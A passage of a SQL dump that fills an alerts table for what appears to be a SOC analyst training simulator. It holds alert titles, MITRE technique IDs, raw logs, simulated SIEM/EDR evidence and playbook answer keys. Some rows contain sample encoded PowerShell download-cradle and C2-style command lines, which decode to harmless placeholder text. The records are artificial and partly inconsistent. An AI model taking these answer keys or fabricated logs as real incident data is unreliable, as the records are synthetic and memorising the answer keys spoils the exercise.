detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.066Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.75\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"DESKTOP-05\\\",\\\"command_line\\\":\\\"benign_app.exe hollowed_process.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1719, 'PowerShell Download Cradle Execution Detected', 'critical', 'CrowdStrike', 'A PowerShell script was executed on host FIN-SRV01, downloading an encoded script indicative of a potential malware attack.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"FIN-SRV01\",\"request_body\":\"\",\"command_line\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is a strong indicator of malicious activity.\"}', 'Intermediate', 'EDR', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1720, 'Suspicious Process Hollowing in explorer.exe', 'high', 'SentinelOne', 'Process hollowing technique detected in explorer.exe, indicating potential code injection from an external source.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:15:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.12\",\"dst_ip\":\"192.168.1.15\",\"username\":\"alice\",\"hostname\":\"WORKSTATION01\",\"request_body\":\"\",\"command_line\":\"explorer.exe hollowed_process.exe\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for suspicious activity, including process injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"explorer.exe hollowed_process.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Process hollowing is a technique often used by malware to hide its execution.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.069Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.12\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"alice\\\",\\\"hostname\\\":\\\"WORKSTATION01\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"explorer.exe hollowed_process.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1721, 'Encoded PowerShell Command Detected', 'medium', 'Carbon Black', 'PowerShell executed with an encoded command, potentially indicating an obfuscated script delivery.', 'Malware', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"\",\"username\":\"bsmith\",\"hostname\":\"HR-LAPTOP\",\"request_body\":\"\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected laptop\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands can indicate attempts to execute obfuscated scripts.\"}', 'Intermediate', 'EDR', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.070Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:22:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"HR-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnVXNlciBpbmZvIGR1bXBlZCEn\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1722, 'Benign PowerShell Execution Alert', 'low', 'Sysmon', 'Detected a PowerShell command execution on host IT-ADMIN1, appears to be a routine administrative task.', 'Process Execution', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:50:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"IT-ADMIN1\",\"request_body\":\"\",\"command_line\":\"powershell.exe -Command Get-ADUser\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of an administrative machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -Command Get-ADUser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Routine administrative PowerShell command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"process_execution\",\"analysis_notes\":\"The command was identified as a standard administrative task, confirming a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:50:22Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"IT-ADMIN1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Get-ADUser\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1723, 'Suspicious Network Connection to Known Malicious IP', 'critical', 'CrowdStrike', 'Detected a network connection from internal host to a known malicious external IP, indicating a potential data exfiltration attempt.', 'Data Exfiltration', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T02:16:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"198.51.100.23\",\"username\":\"cjohnson\",\"hostname\":\"ENG-SRV02\",\"request_body\":\"\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The connection to a known malicious IP suggests possible data exfiltration.\"}', 'Intermediate', 'EDR', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1724, 'False Positive: Routine PowerShell Script Execution', 'low', 'Carbon Black', 'A PowerShell command was executed on host DEV-WORKSTATION during a routine update process.', 'Process Execution', 'T1059.001', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.55\",\"dst_ip\":\"\",\"username\":\"david\",\"hostname\":\"DEV-WORKSTATION\",\"request_body\":\"\",\"command_line\":\"powershell.exe -Command Update-Help\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a development workstation\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -Command Update-Help\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Routine PowerShell help update command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"process_execution\",\"analysis_notes\":\"The command corresponds to a standard help update operation, confirming a false positive.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.075Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.4.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"david\\\",\\\"hostname\\\":\\\"DEV-WORKSTATION\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -Command Update-Help\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1725, 'Encoded PowerShell Execution with Suspicious Network Activity', 'high', 'Sysmon', 'Encoded PowerShell command detected with subsequent connection to a suspicious external IP, indicating potential C2 activity.', 'Malware', 'T1090', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:01:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.100\",\"dst_ip\":\"203.0.113.99\",\"username\":\"emily\",\"hostname\":\"CORP-LAPTOP\",\"request_body\":\"\",\"command_line\":\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\"}', '2026-03-15 19:48:49', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised laptop\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with C2 servers\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command possibly indicating connection to C2\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command followed by network activity to a known malicious IP indicates C2 communication.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:01:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.5.100\\\",\\\"dst_ip\\\":\\\"203.0.113.99\\\",\\\"username\\\":\\\"emily\\\",\\\"hostname\\\":\\\"CORP-LAPTOP\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand ZWNobyAnQ29ubmVjdCB0byBDMg==\'\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 